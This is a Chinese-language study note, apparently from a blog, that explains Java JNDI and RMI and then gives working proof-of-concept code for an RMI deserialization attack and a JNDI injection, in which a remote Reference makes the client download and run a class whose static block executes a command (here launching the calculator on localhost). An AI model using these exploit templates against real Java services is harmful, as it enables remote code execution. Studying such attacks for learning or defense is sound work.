【心得】java JNDI配合RMI实现注入个人笔记

目录

JNDI

RMI

基本概念

RMI 基本逻辑

恶意利用

JNDI注入+RMI实现攻击


JNDI

Java Naming and Directory Interface  Java 命令和目录接口


让配置参数 和  代码 解耦的规范或者思想


低耦合 高内聚


Name
命名  

java对象 通过 命名  绑定到 容器环境

java对象和一个特定的名称关联在一起

Directory

将一个对象的所有属性信息保存在一个容器环境

RMI

基本概念

Remote Method Invocation  Java远程方法调用

实现java程序之间jvm的远程通信

例子

某个负责计算   1台计算机  需要很久   如果这台计算机支持 RMI调用,那么它可以把任务分配和远程的多台虚拟机 进行同步计算,提高计算效率

RMI 基本逻辑

分为三部分   Server  Client  Registry

Server  提供远程的对象
Client 调用远程的对象
Registry 注册表 存放远程对象的位置  ip 端口  标识符

恶意利用

客户端 通过 lookup方法,找绑定的恶意类

1 远程对象有恶意方法,可以直接调用
2 远程对象有可利用的readObject 方法,可以传输Object参数,实现反序列化攻击

举例:

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Exp implements Serializable {
    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

}
package org.example;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 8081);
        RMITest rmiTest = (RMITest) registry.lookup("Z3r4y");
        rmiTest.ctfshow(new Exp());
    }
}
package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RMITestmpl rmiTest = new RMITestmpl();
        Registry registry = LocateRegistry.createRegistry(8081);
        registry.bind("Z3r4y",rmiTest);
        System.out.println("RMI Server is listening ...");
    }
}
package org.example;

import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMITest extends Remote {
    public String testcalc() throws IOException;
    public void ctfshow(Object obj) throws RemoteException;
}
package org.example;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMITestmpl extends UnicastRemoteObject implements RMITest{
    protected RMITestmpl() throws RemoteException {
    }

    @Override
    public String testcalc() throws IOException {
        Runtime.getRuntime().exec("calc");
        return null;
    }

    @Override
    public void ctfshow(Object obj) {
        System.out.println(obj);
    }
}

开客户端和服务端就可以成功弹计算器

JNDI注入+RMI实现攻击

package org.example;

import java.io.IOException;

public class payload {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.NotBoundException;
import java.util.Hashtable;

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException, NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.rmi.ldap.object.trustURLCodebase","true");
        Hashtable env=new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://localhost:8081");

        InitialContext context = new InitialContext(env);
        String url="rmi://localhost:8081/Z3r4y";

        context.lookup(url);
    }
}
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
        Registry registry = LocateRegistry.createRegistry(8081);
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Reference reference=new Reference("payload","payload","http://localhost/");
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        registry.bind("Z3r4y",referenceWrapper);
        System.out.println("RMI Server is listening ...");
    }
}

客户端  通过 lookup 方法  注入了rmi协议  ,访问了远程的rmi服务器

rmi服务器返回了引用对象 ,而引用对象包含了类的加载工厂

如果本地没有这个类 ,就去加载工厂去加载类的字节码

而加载工厂是本地的localhost80端口,目录下,有payload.class文件

客户端 再去访问localhost的80端口,去下载payload.class的字节码 ,然后Class.forname加载了这个字节码

造成了payload.class这个类里面的静态代码被执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/352748.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

二分算法模版

二分算法模版 实数二分算法模版实数二分模版题 整数二分算法模版向上取整二分模版向下取整二分模版二分模版的注意点二分模版中check函数的实现能够使用二分的条件 二分主要分两类, 一类是对实数进行二分,一类是对整数进行二分 对整数二分又分成2种&…

分布式id-Leaf算法

一、介绍 由美团开发,开源项目链接:https://github.com/Meituan-Dianping/Leaf Leaf同时支持号段模式和snowflake算法模式,可以切换使用。ID号码是趋势递增的8byte的64位数字,满足上述数据库存储的主键要求。 Leaf的snowflake模…

谷歌vue插件安装包

链接:https://pan.baidu.com/s/1wTCqn7ttc-rF_wZScfEgPw?pwde7k6 提取码:e7k6 修改D:\谷歌浏览器插件安装包\devtools-main\packages\shell-chrome下manifest.json文件 将里面这四个文件地址改为src下面,因为地址在src下,直接…

Unity中URP下逐顶点光照

文章目录 前言一、之前额外灯逐像素光照的数据准备好后,还有最后的处理二、额外灯的逐顶点光照1、逐顶点额外灯的光照颜色2、inputData.vertexLighting3、surfaceData.albedo 前言 在上篇文章中,我们分析了Unity中URP下额外灯,逐像素光照中聚…

【RTP】webrtc 学习2: webrtc对h264的rtp打包

切片只是拷贝帧的split的各个部分到新的rtp 包的封装中。并没有在rtp包本身标记是否为关键帧FU-A 切片 输入的H.264 数据进行split :SplitNalu SplitNalu : 按照最大1200字节进行切分 切分后会返回一个数组 对于FU-A :split的数据总大小是 去掉一个字节的nalu header size …

高德地图实现-微信小程序地图导航

效果图: 一、准备阶段 1、在高德开放平台注册成为开发者2、申请开发者密钥(key)。3、下载并解压高德地图微信小程序SDK 高德开放平台: 注册账号(https://lbs.amap.com/)) 申请小程序应用的 key 应用管理(https://console.ama…

数据结构-顺序表详解专题

目录 顺序表 1.简单了解顺序表 2.顺序表的分类 2.1静态顺序表 2.2动态顺序表 2.3typedef命名作用 3.动态顺序表的实现 SeqList.h SeqList.c test.c 顺序表 1.简单了解顺序表 顺序表是线性表的一种,线性表是在逻辑上是线性结构,在物理逻辑上并…

【数据结构】栈、队列、数组、列表

数据结构是什么? 数据结构是计算机存储、组织数据的方式 是指数据相互之间是以什么方式排列在一起的。 数据结构是为了更加方便的管理和使用数据,需要结合具体的业务场景来进行选择。一般情况下,精心选择的数据结构可以带来更高的运行或者…

【CSS】实现鼠标悬停图片放大的几种方法

1.背景图片放大 使用css设置背景图片大小100%&#xff0c;同时设置位置和过渡效果&#xff0c;然后使用&#xff1a;hover设置当鼠标悬停时修改图片大小&#xff0c;实现悬停放大效果。 <!DOCTYPE html> <html lang"en"> <head><meta charset…

LVGL入门

一.GUI简介 GUI&#xff0c;全称为图形用户界面&#xff08;Graphical User Interface&#xff09;&#xff0c;是一种通过图形方式与计算机操作系统进行交互的界面。它通过在屏幕上显示图形元素如窗口、按钮、菜单等来代表计算机程序的功能和操作。 GUI的主要特点包括&#…

phpstudy安装mysql5.7后在my.ini文件中无法修改sql_mode

如标题&#xff0c;windows环境下使用phpstudy安装mysql5.7后需要修改mysql中的sql_mode配置&#xff0c;但是在phpstudy中打开mysql配置文件my.ini后&#xff0c; 通过查找找不到sql_mode或sql-mode&#xff0c; 此时无法在my.ini文件中直接进行修改&#xff0c;可以使用mysq…

系统架构设计师教程(十八)安全架构设计理论与实践

安全架构设计理论与实践 18.1 安全架构概述18.1.1 信息安全面临的威胁18.1.2 安全架构的定义和范围18.1.3 与信息安全相关的国内外标准及组织18.2 安全模型18.2.1 状态机模型18.2.2 Bell-LaPadula模型18.2.3 Biba模型18.2.4 Clark-Wilson模型18.2.5 Chinese Wall模型18.3 系统安…

汇编led驱动的代码编写以及ubuntu下的烧录

文章目录 前言一、实验代码详解二、编译1、arm-linux-gnueabihf-gcc 编译文件2、arm-linux-gnueabihf-ld 链接文件3、arm-linux-gnueabihf-objcopy 格式转换4、arm-linux-gnueabihf-objdump 反汇编5、编写Makefile文件 三、代码烧写1、将 imxdownload 拷贝到工程根目录下2、给予…

【C语言刷题系列】交换两个变量的三种方式

文章目录 1.使用临时变量&#xff08;推荐&#xff09; 2.相加和相减的方式&#xff08;值较大时可能丢失数据&#xff09; 3.按位异或运算 本文所属专栏C语言刷题_倔强的石头106的博客-CSDN博客 两个变量值的交换是编程中最常见的问题之一&#xff0c;以下将介绍三种变量的…

数仓治理-计算资源治理

注&#xff1a;文章参考: 数据治理实践 | 网易某业务线的计算资源治理从计算资源治理实践出发&#xff0c;带大家清楚认识计算资源治理到底该如何进行&#xff0c;并如何应用到其他项目中https://mp.weixin.qq.com/s/w6d5zhDaaavNhW_DMEkPsQ 目录 一、计算资源治理的背景 二…

代码随想录算法训练营第15天| Leetcode 104.二叉树的最大深度、559.n叉树的最大深度、111.二叉树的最小深度、222.完全二叉树的节点个数

目录 Leetcode 104.二叉树的最大深度 Leetcode 559.n叉树的最大深度 Leetcode 111.二叉树的最小深度 Leetcode 222.完全二叉树的节点个数 Leetcode 104.二叉树的最大深度 题目链接&#xff1a;Leetcode 104.二叉树的最大深度 题目描述&#xff1a;给定一个二叉树&#xff0c;…

【驱动系列】C#获取电脑硬件显卡核心代号信息

欢迎来到《小5讲堂》&#xff0c;大家好&#xff0c;我是全栈小5。 这是《驱动系列》文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点…

Python笔记12-多线程、网络编程、正则表达式

文章目录 多线程网络编程正则表达式 多线程 现代操作系统比如Mac OS X&#xff0c;UNIX&#xff0c;Linux&#xff0c;Windows等&#xff0c;都是支持“多任务”的操作系统。 进程&#xff1a; 就是一个程序&#xff0c;运行在系统之上&#xff0c;那么便称之这个程序为一个运…

Linux进程间通信(IPC)机制之一:管道(Pipes)详解

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;Nonsense—Sabrina Carpenter 0:50━━━━━━️&#x1f49f;──────── 2:43 &#x1f504; ◀️ ⏸ ▶️ …

关于session每次请求都会改变的问题

这几天在部署一个前后端分离的项目&#xff0c;使用docker进行部署&#xff0c;在本地测试没有一点问题没有&#xff0c;前脚刚把后端部署到服务器&#xff0c;后脚测试就出现了问题&#xff01;查看控制台报错提示跨域错误&#xff1f;但是对于静态资源请求&#xff0c;包括登…